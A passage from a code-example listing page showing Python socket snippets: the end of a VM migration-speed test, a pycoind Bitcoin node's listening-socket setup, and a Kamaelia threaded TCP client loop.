                    endtime = time.time() + 10
                    while endtime > time.time():
                        sock.sendall(data)
                    sock.close()
                except:
                    pass
            self.migrate_wait(vms, srchost, dsthost, worker)

    mig = TestMultihostMigration(test, params, env)
    # Start migration
    mig.run()

    # If machine is migration master check migration statistic.
    if mig.master_id() == mig.hostid:
        mig_speed = utils.convert_data_size(mig_speed, "M")

        mig_stat = mig.mig_stat

        mig_speed = mig_speed / (1024 * 1024)
        real_speed = mig_stat.get_average()
        ack_speed = mig.link_speed * mig_speed_accuracy

        logging.info("Target migration speed: %d MB/s", mig_speed)
        logging.info("Real Link speed: %d MB/s", mig.link_speed)
        logging.info(
            "Average migration speed: %d MB/s", mig_stat.get_average())
        logging.info("Minimum migration speed: %d MB/s", mig_stat.get_min())
        logging.info("Maximum migration speed: %d MB/s", mig_stat.get_max())

        logging.info("Maximum tolerable divergence: %3.1f%%",
                     mig_speed_accuracy * 100)

        if real_speed < mig_speed - ack_speed:
            divergence = (1 - float(real_speed) / float(mig_speed)) * 100
            raise error.TestWarn("Average migration speed (%s MB/s) "
                                 "is %3.1f%% lower than target (%s MB/s)" %
                                 (real_speed, divergence, mig_speed))

        if real_speed > mig_speed + ack_speed:
            divergence = (1 - float(mig_speed) / float(real_speed)) * 100
            raise error.TestWarn("Average migration speed (%s MB/s) "
                                 "is %3.1f%% higher than target (%s MB/s)" %
                                 (real_speed, divergence, mig_speed))

Example 49

Project: pycoind Source File: basenode.py
    def __init__(self, data_dir = None, address = None, seek_peers = 16, max_peers = 125, bootstrap = True, log = sys.stdout, coin = coins.Bitcoin):
        asyncore.dispatcher.__init__(self, map = self)

        if data_dir is None:
            data_dir = util.default_data_directory()

        self._data_dir = data_dir

        # set up the default listen address
        self._listen = True  # @TODO: remove _listen and ideally set up no listen socket
        if address is None:
            address = ('127.0.0.1', 0)
            self._listen = False

        self._address = address

        self._seek_peers = seek_peers
        self._max_peers = max_peers

        self._bootstrap = None
        if bootstrap:
            self._bootstrap = DNSSeeder(coin.dns_seeds)

        self._log = log
        self._log_level = self.LOG_LEVEL_ERROR

        self._coin = coin

        # our external IP address (see _check_external_ip_address)
        self._guessed_external_ip_address = address[0]
        self._external_ip_address = None

        # total bytes we have sent and received
        self._tx_bytes = 0
        self._rx_bytes = 0

        self._banned = dict()

        self._alerts = dict()

        self._user_agent = '/pycoind:%s(%s)/' % ('.'.join(str(i) for i in VERSION), coin.name)

        # heartbeat every 10s for maintenance
        self._last_heartbeat = 0

        # the map we emulate a map on top of to pass self into asyncore as map
        self._peers = dict()

        # map of (address, port) tuples to (timestamp, service) tuples
        self._addresses = dict()

        # relay_count maps peer to number of messages sent recently so we can
        # throttle peers that seem *too* chatty
        self._relay_count = dict()
        self._last_relay_decay = time.time()

        # Create a listening socket; when we get an incoming connection
        # handle_accept will spawn a new peer.
        try:
            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
            self.set_reuse_addr()
            self.bind(address)
            self.listen(5)

            # we bound to a random port, keep track of that
            if address[1] == 0:
                self._address = self.getsockname()

        # port in use... Maybe already running.
        except socket.error, e:
            if e.errno == 48:
                raise AddressInUseException()
            raise e

Example 50

Project: kamaelia_ Source File: ThreadedTCPClient.py
   def main(self):
     """Main (thread) loop"""
     try:
      self.send("Thread running","signal")
      try:
         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#; yield 0.3
      except socket.error:
         e = sys.exc_info()[1]
         #handle initial failure to create socket.
         # If we can't create a socket we might as well give up now.
         # This matches the behaviour of the main TCP client but it might be better passing as
         # an Axon.Ipc.errorInformation carrying the exception otherwise what is the IPC class
         # for?
         self.send(e,"signal")
         # I am assuming that by using queues there are no race conditions between this operations.
         self.send(socketShutdown(),"signal")
         return
      self.send("socket object created","signal")
      try:
         sock.connect((self.host, self.port))
      except socket.error:
         e = sys.exc_info()[1]
         self.send(e,"signal")
         try:
            result = sock.close()
         except:
            pass
         self.send(socketShutdown(),"signal")
         return
      self.send("socket connected","signal")
      
      producerFinished = 0
      if self.sendmessage != None:
        try:
            sock.send(self.sendmessage)
        except socket.error:
            e = sys.exc_info()[1]
            self.send(e,"signal")
            try:
                result = sock.close()
            except:
                pass
            self.send(socketShutdown(), "signal")
            return
      # This loop will handle sending, control and signal communications
      # including with the recv thread.  Apart from the sending all the calls
      # should be non-blocking.  sending should rarely take a significant
      # time.  One non-blocking call will operate with a short timeout to
      # prevent busy wait taking too much CPU time.
      while 1:
            try:
               data = sock.recv(1024)
               if not data: # This implies the connection has barfed.
                  break
               self.send(data)
#             except socket.timeout, to:
#               pass # common case Try again next loop.
            except socket.error:
               err = sys.exc_info()[1]
               self.send(err,"signal")
               break # The task is finished now.
         
            try:
               if self.dataReady("control"):
                    msg = self.recv("control")
                    if isinstance(msg, Axon.Ipc.producerFinished):
                        break
                        # Want to give opportunity for inbox messages to get into the
                        # inbox queue before shutting down the sending system.
            except Empty:
               e = sys.exc_info()[1]
               pass # Normal case.
      
      #end while 1
      
      # After breaking out of while loop clean up socket before ending the thread.
      try:
         sock.shutdown(2)
      except socket.error:
         e = sys.exc_info()[1]
         pass
      try:
         sock.close()
      except socket.error:
         e = sys.exc_info()[1]
         self.send(e,"signal")
      self.send(socketShutdown(),"signal")
      #Normal exit
     except Exception:
      e = sys.exc_info()[1]
      self.send("Unexpected exception","signal")
      self.send(e,"signal")
      self.send(socketShutdown(),"signal")
See More Examples - Go to Next Page
Page 1 Selected Page 2 Page 3